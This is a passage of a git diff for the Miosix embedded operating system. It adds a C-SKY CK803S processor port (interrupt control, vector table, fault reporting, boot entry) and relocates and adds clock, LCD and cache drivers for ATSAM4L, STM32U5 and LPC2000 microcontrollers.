from an IRQ handler or under the global + * lock). Checked and cleared by the C interrupt bodies (csky_isr_tick / + * csky_isr_dispatch in interrupts.cpp) just before they reschedule, so the + * actual context switch happens at the enclosing IRQ's CTX_RESTORE. + * Defined in interrupts.cpp. + */ +extern volatile bool s_schedPending; +extern volatile bool s_inIrq; + +} //namespace miosix + +//Synchronous cooperative context switch from thread context (cskyv2_context.S): +//saves the current thread, runs the scheduler, restores+rte into the next. +extern "C" void csky_yield_switch(); + +namespace miosix { + +/** + * \internal + * Request a context switch. Per the cpu.h contract this must be callable both + * with and without the global lock. + * + * CK803S has neither a PendSV exception nor (verified against the HR_C7000 + * manual) any software-set-pending PIC source like the armv4 VICSoftInt. The + * only software switch trigger is the synchronous `trap` instruction, which + * fires regardless of PSR.IE. So: + * + * - IE on (thread context, no global lock): `trap 0` vectors to + * yield_isr_entry, which saves context, runs the scheduler and restores — + * a prompt cooperative yield. + * + * - IE off (inside an IRQ, or under the global lock): trapping now would + * nest into the critical section, so instead raise s_schedPending. When the + * call is from an IRQ handler, the enclosing dispatcher reschedules before + * its CTX_RESTORE — exactly the deferred-PendSV behaviour. When the call is + * from a thread holding the global lock, the switch is taken at the next OS + * tick (csky_isr_tick honours the flag); this bounds latency to one tick. + * Limitation: a thread that unblocks a higher-priority thread under the lock + * keeps running until that next tick. The full fix needs the global-lock + * release path to honour the flag (or a real deferred-switch interrupt). + */ +inline void IRQinvokeScheduler() noexcept +{ + //Switch synchronously ONLY from true thread context with interrupts enabled + //(no global lock): Thread::yield(). When called with IE off — under the + //global lock OR from an IRQ — DEFER (s_schedPending); switching synchronously + //under the lock corrupts mid-kernel-operation (hangs at Thread::create). + //LIMITATION: the deferred switch is currently only taken at the next IRQ + //(no PendSV-equivalent yet), so Thread::sleep is not fully functional — + //needs the core-VIC TSPEND/PendSV (vector 22) to fire at lock-release. + if(areInterruptsEnabled() && !s_inIrq) + { + csky_yield_switch(); + } else { + s_schedPending=true; + asm volatile("":::"memory"); + } +} + +} //namespace miosix diff --git a/miosix/arch/cpu/cskyv2/interfaces-impl/endianness_impl.h b/miosix/arch/cpu/cskyv2/interfaces-impl/endianness_impl.h new file mode 100644 index 000000000..8108aaf45 --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interfaces-impl/endianness_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * CK803S (C-SKY V2) endianness for modern Miosix. Little-endian (-EL). * + * GPL v2+ with the Miosix linking exception. * + ***************************************************************************/ + +#pragma once + +#ifndef MIOSIX_BIG_ENDIAN +//ck803s built little-endian (-EL) +#define MIOSIX_LITTLE_ENDIAN +#endif //MIOSIX_BIG_ENDIAN + +namespace miosix { + +inline unsigned short swapBytes16(unsigned short x) +{ + return static_cast((x>>8) | (x<<8)); +} + +inline unsigned int swapBytes32(unsigned int x) +{ + return __builtin_bswap32(x); +} + +inline unsigned long long swapBytes64(unsigned long long x) +{ + return __builtin_bswap64(x); +} + +} //namespace miosix diff --git a/miosix/arch/cpu/cskyv2/interfaces-impl/interrupts_impl.h b/miosix/arch/cpu/cskyv2/interfaces-impl/interrupts_impl.h new file mode 100644 index 000000000..d5f4714d0 --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interfaces-impl/interrupts_impl.h @@ -0,0 +1,48 @@ +/*************************************************************************** + * CK803S (C-SKY V2) interrupt enable/disable for modern Miosix. * + * GPL v2+ with the Miosix linking exception (see armv6m interrupts_impl.h)* + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +/// CK803S PIC (0x17000000) has 64 maskable sources, gated per-source via the +/// PIC mask register rather than per-IRQ priority levels like ARM NVIC. Miosix's +/// IRQ-priority concept maps weakly here; expose nominal values. (If the kernel +/// references these for a priority-based scheme, revisit when wiring the PIC.) +constexpr int defaultIrqPriority=0; +constexpr int minimumIrqPriority=0; + +inline void fastDisableIrq() noexcept +{ + // Clear PSR.IE (maskable interrupt enable). Memory barrier so the compiler + // doesn't reorder across the critical-section boundary. + asm volatile("psrclr ie":::"memory"); +} + +inline void fastEnableIrq() noexcept +{ + asm volatile("psrset ie":::"memory"); +} + +inline bool areInterruptsEnabled() noexcept +{ + unsigned int psr; + asm volatile("mfcr %0, psr":"=r"(psr)); + // PSR.IE = bit 6 on CK803S (standard C-SKY V2 layout; verify on silicon). + return (psr & (1u<<6)) != 0u; +} + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/cskyv2/interfaces-impl/mpu_impl.h b/miosix/arch/cpu/cskyv2/interfaces-impl/mpu_impl.h new file mode 100644 index 000000000..4396317c8 --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interfaces-impl/mpu_impl.h @@ -0,0 +1,18 @@ +/*************************************************************************** + * CK803S (C-SKY V2) MPU interface for modern Miosix. * + * GPL v2+ with the Miosix linking exception. * + ***************************************************************************/ + +#pragma once + +#warning Architecture does not provide an MPU, kernel-level W^X will not be enforced + +namespace miosix { + +/** + * \internal + * The CK803S on the HR_C7000 has no MPU we use, so this is a no-op. + */ +inline void IRQenableMPU() {} + +} //namespace miosix diff --git a/miosix/arch/cpu/cskyv2/interfaces-impl/userspace_impl.h b/miosix/arch/cpu/cskyv2/interfaces-impl/userspace_impl.h new file mode 100644 index 000000000..24e89e992 --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interfaces-impl/userspace_impl.h @@ -0,0 +1,11 @@ +/*************************************************************************** + * CK803S (C-SKY V2) userspace interface for modern Miosix. * + * GPL v2+ with the Miosix linking exception. * + ***************************************************************************/ + +#pragma once + +// Processes (userspace with memory protection) are not supported on the HR_C7000 +// CK803S port: there is no MPU we use and the toolchain provides no userspace +// multilib. The HR_C7000 runs Miosix as a unikernel. No declarations are required +// here (mirrors arch/cpu/armv4). diff --git a/miosix/arch/cpu/cskyv2/interrupts.cpp b/miosix/arch/cpu/cskyv2/interrupts.cpp new file mode 100644 index 000000000..e00768e71 --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interrupts.cpp @@ -0,0 +1,315 @@ +/*************************************************************************** + * CK803S (C-SKY V2) / HR_C7000 interrupt layer for modern Miosix. * + * GPL v2+ with the Miosix linking exception. * + * * + * Implements the interfaces/interrupts.h contract for the HR_C7000: * + * - IRQinitIrqTable() build+install the VBR table, init the PIC * + * - IRQregisterIrqOnCore() bind a dynamic handler to a PIC source * + * - IRQunregisterIrqOnCore() unbind + mask * + * - IRQisIrqRegistered() * + * plus the extern "C" C bodies the cskyv2_context.S entry stubs call. * + * * + * Hardware recipe verified on real HR_C7000 silicon: * + * * + * timer/peripheral IRQ -> PIC @ 0x17000000 (level, active-high) * + * -> CK803 autovectors via VBR (cr<1,0>): PC = *(VBR + vec*4) * + * -> vector = HRC7000_PIC_VECTOR0(32) + PIC source number. * + * IRQ end: peripheral clears its own request (e.g. read TimerN_EOI), * + * then write PIC_COW1 = eoi(bit2). * + * * + * The "id" used throughout the Miosix IRQ API is the PIC source number * + * (0..63); its CK803S vector is id + HRC7000_PIC_VECTOR0. * + ***************************************************************************/ + +#include +#include "interfaces/interrupts.h" +#include "interfaces/arch_registers.h" +#include "interfaces_private/cpu.h" //ctxsave (resume-frame forensics) +#include "kernel/scheduler/scheduler.h" + +namespace miosix { + +// +// CK803S substitute for the Cortex-M PendSV-set bit (see cpu_impl.h). +// +volatile bool s_schedPending=false; + +//True while inside the PIC dispatcher (IRQ context). IRQinvokeScheduler() uses +//this to decide: in IRQ context -> defer (s_schedPending); in thread context +//(even under the global lock / IE off) -> switch synchronously. +volatile bool s_inIrq=false; + +// +// VBR table: CK803S_VBR_NVEC word entries, each a handler ADDRESS. CK803 loads the +// word at VBR + vec*4 and jumps to it. Must be 1 KiB aligned (VBR alignment). +// +static unsigned int g_vbrTable[CK803S_VBR_NVEC] __attribute__((aligned(1024))); + +// +// Dynamic per-source handler table. One slot per PIC source (0..63). +// +static constexpr unsigned int NUM_PIC_SOURCES=64; +struct IrqSlot { void (*fn)(void*); void *arg; }; +static IrqSlot g_irqSlots[NUM_PIC_SOURCES]; + +// +// Naked entry stubs (cskyv2_context.S). +// +extern "C" void yield_isr_entry(); // VBR[16] = trap 0 (cooperative yield) +extern "C" void generic_irq_entry(); // VBR[32..95] = PIC sources +extern "C" void fault_entry(); // all CPU-exception + stray vectors + +// +// Board-supplied low-level early-console write (bring-up diagnostic path). Weak +// so the CPU layer links even on a board that provides no early console: if it +// is absent the fault reporter simply produces no text and still halts. The +// board implements it (e.g. over a debug UART); to be rerouted through the +// standard Miosix console once one is wired. +// +extern "C" void miosixEarlyConsoleWrite(const char *s) __attribute__((weak)); + +// +// Boot entry. The generic linker script sets ENTRY(miosix::Reset_Handler) and +// KEEPs .isr_vector at the very start of flash; the Dahua IAP jumps to the +// image base (0x0300d000) and EXECUTES there, so +// Reset_Handler must be the first code. It sets the boot stack, runs early +// clock init (IRQmemoryAndClockInit, board layer), then hands off to the kernel +// boot (IRQkernelBootEntryPoint does .data/.bss/ctors/IRQinitIrqTable/IRQbspInit +// /IRQosTimerInit/IRQstartKernel). Mirrors armv4's Reset_Handler. Naked: pure +// asm, no compiler-generated prologue, and it switches SP mid-function. The +// mangled callee names match the kernel's C++ symbols. +// +void Reset_Handler() __attribute__((naked,section(".isr_vector"))); +void Reset_Handler() +{ + asm volatile( + //Mirror RT-Thread's ck803 reset_handler entry: put the core in the known + //mode it expects (PSR=0x80000000 = S/supervisor, IE/EE off) and clear the + //random-prefetch enable (cr<31,0>[3]=RPE). Without this PSR setup, rte + //from normal context does not transfer control on this core (HW-found). + "lrw r0, 0x80000000 \n\t" + "mtcr r0, psr \n\t" + "mfcr r0, cr<31, 0> \n\t" + "bclri r0, 3 \n\t" + "mtcr r0, cr<31, 0> \n\t" + "lrw r0, _irq_stack_top \n\t" //small stack in internal RAM + "mov sp, r0 \n\t" + "jbsr _ZN6miosix21IRQmemoryAndClockInitEv \n\t" //early clock/memory init + "lrw r0, _heap_end \n\t" //big boot stack (top of heap) + "mov sp, r0 \n\t" + "jbsr _ZN6miosix23IRQkernelBootEntryPointEv \n\t" //never returns + ); +} + +// +// CPU-fault reporter, called by fault_entry (cskyv2_context.S) with a pointer +// to the 72-byte register frame it snapshotted and the live PSR. Prints the +// faulting PC (EPC), PSR/EPSR and the full register file over the board debug +// UART, then halts so the message stays on the wire for capture. +// +// Frame layout (matches cskyv2_context.S): f[0..13]=r0..r13, f[14]=r15(lr), +// f[15]=EPC (faulting PC), f[16]=EPSR (faulting PSR), f[17]=pad. The faulting +// SP is the frame address + FRAME_SIZE (the frame was pushed onto that stack). +// +// The EPC is the key datum: disassemble the linked image at that address to see +// exactly which instruction trapped (an unaligned ld/st, a soft-float helper +// call, an illegal encoding, ...). Halting (rather than rebooting) is a +// deliberate bring-up choice — swap the final spin for IRQsystemReboot() once +// faults are diagnosed and the radio should self-recover in the field. +// +// +// CK803S exception-vector number -> human-readable cause. Numbers are per the +// CK803S VIC user guide §3.3.3 "Interrupt vector number", cross-checked against +// Linux arch/csky (asm/traps.h VEC_*) and RT-Thread's ck803 port. The faulting +// vector is carried in PSR.VEC = bits[23:16], i.e. (psr>>16)&0xff — the same +// decode as Linux trap_no(). +// +static const char *faultVecName(unsigned int vec) +{ + switch(vec) + { + case 1: return "unaligned access"; + case 2: return "access error (bus)"; + case 3: return "divide by zero"; + case 4: return "illegal instruction"; + case 5: return "privilege violation"; + case 6: return "trace"; + case 7: return "breakpoint"; + case 8: return "unrecoverable error"; + case 9: return "soft reset / idly"; + case 10: return "autovector irq"; + case 17: case 18: case 19: return "trap #1-3"; + case 22: return "tspend"; + default: return "unknown/reserved"; + } +} + +extern "C" void csky_fault_handler(unsigned int *f, unsigned int psr) +{ + //Re-entrancy guard: if the reporter itself faults (e.g. the debug UART or + //sniprintf trap), do not recurse — just halt on the second entry. + static volatile bool reporting=false; + if(!reporting) + { + reporting=true; + if(miosixEarlyConsoleWrite) + { + char b[112]; + unsigned int vec=(psr>>16)&0xFFu; //PSR.VEC[23:16] + unsigned int sp=reinterpret_cast(f)+0x48u; //+FRAME_SIZE + sniprintf(b,sizeof b,"\r\n*** CK803S CPU FAULT: vec=%u (%s) ***\r\n", + vec,faultVecName(vec)); + miosixEarlyConsoleWrite(b); + sniprintf(b,sizeof b,"psr=%08x epc=%08x epsr=%08x sp=%08x lr=%08x\r\n", + psr,f[15],f[16],sp,f[14]); + miosixEarlyConsoleWrite(b); + sniprintf(b,sizeof b,"r0-3 =%08x %08x %08x %08x\r\n" + "r4-7 =%08x %08x %08x %08x\r\n", + f[0],f[1],f[2],f[3],f[4],f[5],f[6],f[7]); + miosixEarlyConsoleWrite(b); + sniprintf(b,sizeof b,"r8-11 =%08x %08x %08x %08x\r\n" + "r12-13=%08x %08x\r\n", + f[8],f[9],f[10],f[11],f[12],f[13]); + miosixEarlyConsoleWrite(b); + miosixEarlyConsoleWrite("disassemble the image at epc for the faulting " + "instruction. halted.\r\n"); + } + } + for(;;) ; +} + +//----------------------------------------------------------------------------- +// C bodies called by the .S entry stubs (between CTX_SAVE and CTX_RESTORE). +//----------------------------------------------------------------------------- + +/// Run the scheduler (repoint ctxsave[]) — called by csky_yield_switch (after +/// it has saved the current thread) and by the IRQ dispatcher. +extern "C" void csky_isr_yield() +{ + Scheduler::IRQrunScheduler(); +} + +/// PIC path: service every fired+enabled source, PIC-EOI, then reschedule iff a +/// handler requested it (IRQinvokeScheduler set s_schedPending while IE was off). +extern "C" void csky_isr_dispatch() +{ + s_inIrq=true; //handlers calling IRQinvokeScheduler defer (don't switch here) + + //Only sources 0..31 (the timer tick) are wired today; scan the high half + //too so adding a >=32 source later "just works". + unsigned int pend0=HRC7000_PIC_INT_ST & ~HRC7000_PIC_MASK; + unsigned int pend1=HRC7000_PIC_INT_ST1 & ~HRC7000_PIC_MASK1; + for(unsigned int src=0; src<32; src++) + if(pend0 & (1u< fault_entry (report EPC/EPSR/regs + halt), except trap 0 + //(yield) and the PIC range. Every CK803S CPU exception (misaligned access, + //access error, illegal instruction, privilege, div0, trap1..3) and any stray + //vector is now diagnosable instead of silently spinning. + for(unsigned int v=0; v(&fault_entry); + g_vbrTable[CK803S_YIELD_VEC]=reinterpret_cast(&yield_isr_entry); + for(unsigned int src=0; src(&generic_irq_entry); + + for(unsigned int i=0; i). + csky_set_vbr(g_vbrTable); + + //PIC: level-triggered, active-high, all pending cleared, ALL masked. The + //timer/peripheral sources are unmasked by IRQregisterIrqOnCore(). IE stays + //OFF here — IRQportableStartKernel() enables it for the first switch. + HRC7000_PIC_MODE =0u; + HRC7000_PIC_PO =0xFFFFFFFFu; + HRC7000_PIC_MODE1 =0u; + HRC7000_PIC_PO1 =0xFFFFFFFFu; + HRC7000_PIC_INT_ST =0xFFFFFFFFu; + HRC7000_PIC_INT_ST1=0xFFFFFFFFu; + HRC7000_PIC_MASK =0xFFFFFFFFu; + HRC7000_PIC_MASK1 =0xFFFFFFFFu; +} + +void IRQregisterIrqOnCore(GlobalIrqLock&, unsigned char /*coreId*/, unsigned int id, + void (*handler)(void*), void *arg) noexcept +{ + if(id>=NUM_PIC_SOURCES) return; + g_irqSlots[id]=IrqSlot{handler,arg}; + //Unmask the PIC source (bit=0 enables). + if(id<32) HRC7000_PIC_MASK &= ~(1u<=NUM_PIC_SOURCES) return; + //Mask the PIC source first, then drop the handler. + if(id<32) HRC7000_PIC_MASK |= (1u<=NUM_PIC_SOURCES) return false; + return g_irqSlots[id].fn!=nullptr; +} + +// Lock-free IRQ registration for EARLY BOOT only (single-threaded, IE off): +// bind a handler + unmask its PIC source, without constructing a GlobalIrqLock. +// Used by IRQosTimerInit, which runs before the kernel is started where the +// GlobalIrqLock machinery may not yet be usable. +void cskyRegisterIrqNoLock(unsigned int id, void (*handler)(void*), void *arg) noexcept +{ + if(id>=NUM_PIC_SOURCES) return; + g_irqSlots[id]=IrqSlot{handler,arg}; + if(id<32) HRC7000_PIC_MASK &= ~(1u< * + ***************************************************************************/ + +#include "atsam4l_lcd.h" +#include "kernel/thread.h" +#include "kernel/lock.h" +#include + +using namespace std; + +namespace miosix { + +void initLcd(unsigned int numSegments, unsigned int contrast) +{ + //Although the hardware supports up to 40 segments, this driver is currently + //limited to 32, as we don't handle LCDCA_DRH registers. + numSegments = min(numSegments, 32u); + //Don't set higher than 31 (FCST field in peripheral register is signed and + //going negative causes peripheral startup issues) + contrast = min(contrast, 31u); + + { + FastGlobalIrqLock dLock; + PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) + | PM_UNLOCK_ADDR(PM_PBAMASK_OFFSET); + PM->PM_PBAMASK |= PM_PBAMASK_LCDCA; + } + + //Make sure LCD is disabled before changing settings + LCDCA->LCDCA_CR = LCDCA_CR_DIS + | LCDCA_CR_FC2DIS + | LCDCA_CR_BSTOP; + + LCDCA->LCDCA_BCFG = LCDCA_BCFG_FCS(2); //Using FC2 for blinking + + LCDCA->LCDCA_TIM = LCDCA_TIM_CLKDIV(3) + | LCDCA_TIM_PRESC; + + LCDCA->LCDCA_CFG = LCDCA_CFG_NSU(numSegments) //LCD number of segments + | LCDCA_CFG_FCST(contrast) + | LCDCA_CFG_DUTY(0); //1/4 duty, 1/3 bias, 4 COM + + LCDCA->LCDCA_CR = LCDCA_CR_EN; + LCDCA->LCDCA_CR = LCDCA_CR_CDM; + while((LCDCA->LCDCA_SR & LCDCA_SR_EN) == 0) ; +} + +void setSegment(unsigned int com, unsigned int seg, int value) +{ + com = min(com, 3u); + seg = min(seg, 31u); + + auto reg = &LCDCA->LCDCA_DRL0; + if(value) reg[2 * com] |= 1 << seg; + else reg[2 * com] &= ~(1 << seg); +} + +void setDigit(unsigned int digit, unsigned char segments) +{ + digit = min(digit, 15u); + + unsigned int base; + switch(digit) + { + case 0: base = 2; break; //Digit 0 and 1 are swapped + case 1: base = 0; break; //to simplify PCB routing + default: base = 2 * digit; + } + //NOTE: the way segments are wired does not allow to use the character + //generator, otherwise the code would be like this + //LCDCA->LCDCA_CMCFG = LCDCA_CMCFG_STSEG(base) | LCDCA_CMCFG_TDG(1); + //LCDCA->LCDCA_CMDR = segments; + + // Mapping: + // 0 1 2 3 4 5 6 7 bits of the segments variable + // a b c d e f g dp + // base base+1 bits to change in DRL0 + // base+1 base bits to change in DRL1 + // base base+1 bits to change in DRL2 + //base base+1 bits to change in DRL3 + unsigned int s = segments; + LCDCA->LCDCA_DRL0 = (LCDCA->LCDCA_DRL0 & ~(0b11 << base)) + | ((((s >> 3) & 0b01) | ((s >> 6) & 0b10)) << base); + LCDCA->LCDCA_DRL1 = (LCDCA->LCDCA_DRL1 & ~(0b11 << base)) + | ((((s >> 4) & 0b01) | ((s >> 1) & 0b10)) << base); + LCDCA->LCDCA_DRL2 = (LCDCA->LCDCA_DRL2 & ~(0b11 << base)) + | (((segments >> 5) & 0b11) << base); + LCDCA->LCDCA_DRL3 = (LCDCA->LCDCA_DRL3 & ~(0b11 << base)) + | ((segments & 0b11) << base); +} + +const unsigned char digitTbl[] = +{ + // 0 1 2 3 4 5 6 7 8 9 + 0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07,0x7f,0x6f +}; + +void enableBlink(bool fast) +{ + LCDCA->LCDCA_CR = LCDCA_CR_FC2DIS + | LCDCA_CR_BSTOP; + + LCDCA->LCDCA_TIM = (LCDCA->LCDCA_TIM & ~LCDCA_TIM_FC2_Msk) + | LCDCA_TIM_FC2(fast ? 1 : 2); //Select ~500ms / ~1s rate + + LCDCA->LCDCA_CR = LCDCA_CR_FC2EN + | LCDCA_CR_BSTART; +} + +} //namespace miosix diff --git a/miosix/arch/cortexM4_atsam4l/common/drivers/lcd.h b/miosix/arch/drivers/atsam4l_lcd.h similarity index 100% rename from miosix/arch/cortexM4_atsam4l/common/drivers/lcd.h rename to miosix/arch/drivers/atsam4l_lcd.h diff --git a/miosix/arch/drivers/cache/stm32u5_cache.h b/miosix/arch/drivers/cache/stm32u5_cache.h new file mode 100644 index 000000000..a6a905dfe --- /dev/null +++ b/miosix/arch/drivers/cache/stm32u5_cache.h @@ -0,0 +1,46 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +// This chip has a custom ICACHE and DCACHE by ST + +// TODO: the DCACHE is only used when accessing external memories, add support +// for it as soon as we get access to a board with an external RAM +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} + +inline void IRQenableCache() +{ + ICACHE->CR = ICACHE_CR_WAYSEL | ICACHE_CR_EN; +} + +} //namespace miosix diff --git a/miosix/arch/drivers/clock/atsam4l_clock.cpp b/miosix/arch/drivers/clock/atsam4l_clock.cpp new file mode 100644 index 000000000..bf3a628e0 --- /dev/null +++ b/miosix/arch/drivers/clock/atsam4l_clock.cpp @@ -0,0 +1,151 @@ +/*************************************************************************** + * Copyright (C) 2020, 2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "atsam4l_clock.h" +#include "interfaces/arch_registers.h" +#include "board_settings.h" + +extern "C" { +unsigned int SystemCoreClock = miosix::cpuFrequency; +} + +namespace miosix { + +static void configureRcfast(int frange) +{ + auto tempRcFastCfg = SCIF->SCIF_RCFASTCFG; + tempRcFastCfg &= ~SCIF_RCFASTCFG_FRANGE_Msk; + tempRcFastCfg |= SCIF_RCFASTCFG_FRANGE(frange) | SCIF_RCFASTCFG_EN; + SCIF->SCIF_UNLOCK = SCIF_UNLOCK_KEY(0xaa) | SCIF_UNLOCK_ADDR(SCIF_RCFASTCFG_OFFSET); + SCIF->SCIF_RCFASTCFG = tempRcFastCfg; //Can't do read-modify-write, confuses the lock + while((SCIF->SCIF_RCFASTCFG & SCIF_RCFASTCFG_EN)==0) ; + PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) | PM_UNLOCK_ADDR(PM_MCCTRL_OFFSET); + PM->PM_MCCTRL=PM_MCCTRL_MCSEL_RCFAST; +} + +/** + * This function is the first function called during boot to initialize the + * platform memory and clock subsystems. + * + * Code in this function has several important restrictions: + * - When this function is called, part of the memory address space may not be + * available. This occurs when the board includes an external memory, and + * indeed it is the purpose of this very function to enable the external + * memory (if present) and map it into the address space! + * - This function is called before global and static variables in .data/.bss + * are initialized. As a consequence, this function and all function it calls + * are forbidden from referencing global and static variables + * - This function is called with the stack pointer pointing to the interrupt + * stack. This is in general a small stack, but is the only stack that is + * guaranteed to be in the internal memory. The allocation of stack-local + * variables and the nesting of function calls should be kept to a minimum + * - This function is called with interrupts disabled, before the kernel is + * started and before the I/O subsystem is enabled. There is thus no way + * of printing any debug message. + * + * This function should perform the following operations: + * - Configure the internal memory wait states to support the desired target + * operating frequency + * - Configure the CPU clock (e.g: PLL) to run at the desired target frequency + * - Enable and configure the external memory (if available) + * + * As a postcondition of running this function, the entire memory map as + * specified in the linker script should be accessible, so the rest of the + * kernel can use the memory to complete the boot sequence, and the CPU clock + * should be configured at the desired target frequency so the boot can proceed + * quickly. + */ +void IRQmemoryAndClockInit() +{ + //TODO: support more clock options here and in getSelectedOscillator() + switch(miosix::cpuFrequency) + { + case 4000000: + configureRcfast(0); + break; + case 8000000: + configureRcfast(1); + break; + case 12000000: + configureRcfast(2); + break; + } + //This function is empty in this microcontroller family + //SystemInit(); +} + +int getSelectedOscillator() +{ + //see Table 13-8 Generic Clock Sources + switch(SystemCoreClock) + { + case 4000000: return 5; //RCFAST + case 8000000: return 5; //RCFAST + case 12000000: return 5; //RCFAST + default: return 0; //RCSYS + } +} + +void start32kHzOscillator() +{ +#ifndef USE_RC_32K_OSCILLATOR + //NOTE: at least with the 32kHz crystal I've tested (CL=12.5pF), this + //oscillator has a very noticeable jitter. Triggering with a scope on the + //rising edge, you can see it by zooming on the falling edge. Using the + //maximum current of 425nA reduced the jitter, but it is still ~200ns! + //Amplitude controlled mode is worse, don't use it. + BSCIF->BSCIF_OSCCTRL32 = BSCIF_OSCCTRL32_STARTUP(4) //64K cycles startup + | BSCIF_OSCCTRL32_SELCURR(15) //425nA (max) + | BSCIF_OSCCTRL32_MODE(1) //Crystal mode + | BSCIF_OSCCTRL32_EN1K + | BSCIF_OSCCTRL32_EN32K + | BSCIF_OSCCTRL32_OSC32EN; + while((BSCIF->BSCIF_PCLKSR & BSCIF_PCLKSR_OSC32RDY) == 0) ; +// //Output OSC32K on PA2/GCLK0 for measurement purpose +// SCIF->SCIF_GCCTRL[0].SCIF_GCCTRL = SCIF_GCCTRL_OSCSEL(1) //Output OSC32K +// | SCIF_GCCTRL_CEN; +// using gclk0 = Gpio; +// gclk0::mode(Mode::ALTERNATE); +// gclk0::alternateFunction('A'); +#else //USE_RC_32K_OSCILLATOR + //Enable RC 32kHz oscillator + BSCIF->BSCIF_UNLOCK = BSCIF_UNLOCK_KEY(0xaa) + | BSCIF_UNLOCK_ADDR(BSCIF_RC32KCR_OFFSET); + BSCIF->BSCIF_RC32KCR = BSCIF_RC32KCR_EN1K + | BSCIF_RC32KCR_EN32K + | BSCIF_RC32KCR_TCEN + | BSCIF_RC32KCR_EN; + while((BSCIF->BSCIF_PCLKSR & BSCIF_PCLKSR_RC32KRDY) == 0) ; + //Select RC 32kHz oscillator + auto tempPmcon = BPM->BPM_PMCON | BPM_PMCON_CK32S; + BPM->BPM_UNLOCK = BPM_UNLOCK_KEY(0xaa) + | BPM_UNLOCK_ADDR(BPM_PMCON_OFFSET); + BPM->BPM_PMCON = tempPmcon; //Can't do read-modify-write, confuses the lock +#endif +} + +} //namespace miosix diff --git a/miosix/arch/cortexM4_atsam4l/common/drivers/clock.h b/miosix/arch/drivers/clock/atsam4l_clock.h similarity index 100% rename from miosix/arch/cortexM4_atsam4l/common/drivers/clock.h rename to miosix/arch/drivers/clock/atsam4l_clock.h diff --git a/miosix/arch/drivers/clock/lpc2000_clock.cpp b/miosix/arch/drivers/clock/lpc2000_clock.cpp new file mode 100644 index 000000000..e1132896a --- /dev/null +++ b/miosix/arch/drivers/clock/lpc2000_clock.cpp @@ -0,0 +1,142 @@ +/*************************************************************************** + * Copyright (C) 2008-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "lpc2000_clock.h" +// #include "board_settings.h" +#include "miosix_settings.h" + +namespace miosix { + +// +// System PLL +// + +/** + * \internal + * Generates the PLL feed sequence + */ +static inline void feed() +{ + PLLFEED=0xAA; + PLLFEED=0x55; +} + +void IRQsetPllFreq(PllValues r) +{ + const unsigned int PLOCK=0x400; + PLLCON=0x0;//PLL OFF + feed(); + switch(r) + { + case PLL_2X://PLL=2*F + // Enabling MAM + MAMCR=0x0;//MAM Disabled + MAMTIM=0x2;//Flash access is 2 cclk + MAMCR=0x2;//MAM Enabled + // Setting PLL + PLLCFG=0x41;// M=2 P=4 ( FCCO=14.7456*M*2*P=235MHz ) + feed(); + PLLCON=0x1;//PLL Enabled + feed(); + while(!(PLLSTAT & PLOCK));//Wait for PLL to lock + PLLCON=0x3;//PLL Connected + feed(); + break; + case PLL_4X://PLL=4*F + // Enabling MAM + MAMCR=0x0;//MAM Disabled + MAMTIM=0x3;//Flash access is 3 cclk + MAMCR=0x2;//MAM Enabled + // Setting PLL + PLLCFG=0x23;// M=4 P=2 ( FCCO=14.7456*M*2*P=235MHz ) + feed(); + PLLCON=0x1;//PLL Enabled + feed(); + while(!(PLLSTAT & PLOCK));//Wait for PLL to lock + 